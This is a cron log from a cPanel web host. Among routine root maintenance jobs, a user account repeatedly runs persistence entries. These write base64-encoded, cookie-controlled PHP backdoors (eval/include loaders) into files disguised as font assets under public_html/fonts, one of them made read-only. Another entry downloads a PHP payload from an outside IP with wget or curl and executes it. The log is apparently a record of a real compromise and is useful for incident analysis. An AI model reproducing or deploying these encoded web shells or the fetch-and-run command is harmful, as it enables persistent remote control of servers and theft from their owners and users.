Sep  4 22:54:01 ip-184-168-122-23 CROND[940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:54:01 ip-184-168-122-23 CROND[941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:55:02 ip-184-168-122-23 CROND[1026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:55:02 ip-184-168-122-23 CROND[1031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 22:55:02 ip-184-168-122-23 CROND[1027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:55:02 ip-184-168-122-23 CROND[1028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:55:02 ip-184-168-122-23 CROND[1030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:55:02 ip-184-168-122-23 CROND[1029]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 22:56:01 ip-184-168-122-23 CROND[1133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:56:01 ip-184-168-122-23 CROND[1130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:56:01 ip-184-168-122-23 CROND[1131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:56:01 ip-184-168-122-23 CROND[1134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:56:01 ip-184-168-122-23 CROND[1132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:57:01 ip-184-168-122-23 CROND[1224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:57:01 ip-184-168-122-23 CROND[1221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:57:01 ip-184-168-122-23 CROND[1223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:57:01 ip-184-168-122-23 CROND[1222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:58:01 ip-184-168-122-23 CROND[1417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:58:01 ip-184-168-122-23 CROND[1416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 22:58:01 ip-184-168-122-23 CROND[1432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:58:01 ip-184-168-122-23 CROND[1433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:58:01 ip-184-168-122-23 CROND[1415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 22:59:01 ip-184-168-122-23 CROND[1532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 22:59:01 ip-184-168-122-23 CROND[1533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 22:59:01 ip-184-168-122-23 CROND[1531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 22:59:01 ip-184-168-122-23 CROND[1534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:00:01 ip-184-168-122-23 CROND[1629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:00:01 ip-184-168-122-23 CROND[1631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:00:01 ip-184-168-122-23 CROND[1632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:00:01 ip-184-168-122-23 CROND[1633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:00:01 ip-184-168-122-23 CROND[1630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:00:01 ip-184-168-122-23 CROND[1639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:00:01 ip-184-168-122-23 CROND[1640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:00:01 ip-184-168-122-23 CROND[1641]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:01:01 ip-184-168-122-23 CROND[1789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:01:01 ip-184-168-122-23 CROND[1791]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 23:01:01 ip-184-168-122-23 CROND[1792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:01:01 ip-184-168-122-23 CROND[1793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:01:01 ip-184-168-122-23 CROND[1796]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 23:01:02 ip-184-168-122-23 CROND[1797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1791]: starting 0anacron
Sep  4 23:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1810]: finished 0anacron
Sep  4 23:02:01 ip-184-168-122-23 CROND[1902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:02:01 ip-184-168-122-23 CROND[1903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:02:01 ip-184-168-122-23 CROND[1904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:02:01 ip-184-168-122-23 CROND[1906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:02:01 ip-184-168-122-23 CROND[1907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:03:01 ip-184-168-122-23 CROND[2021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:03:01 ip-184-168-122-23 CROND[2020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:03:01 ip-184-168-122-23 CROND[2022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:03:01 ip-184-168-122-23 CROND[2023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:04:01 ip-184-168-122-23 CROND[2185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:04:01 ip-184-168-122-23 CROND[2186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:04:01 ip-184-168-122-23 CROND[2187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:04:01 ip-184-168-122-23 CROND[2188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:04:01 ip-184-168-122-23 CROND[2189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:05:01 ip-184-168-122-23 CROND[2279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:05:01 ip-184-168-122-23 CROND[2282]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:05:01 ip-184-168-122-23 CROND[2281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:05:01 ip-184-168-122-23 CROND[2283]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 23:05:01 ip-184-168-122-23 CROND[2284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:05:01 ip-184-168-122-23 CROND[2285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:05:01 ip-184-168-122-23 CROND[2286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:06:01 ip-184-168-122-23 CROND[2376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:06:01 ip-184-168-122-23 CROND[2374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:06:01 ip-184-168-122-23 CROND[2378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
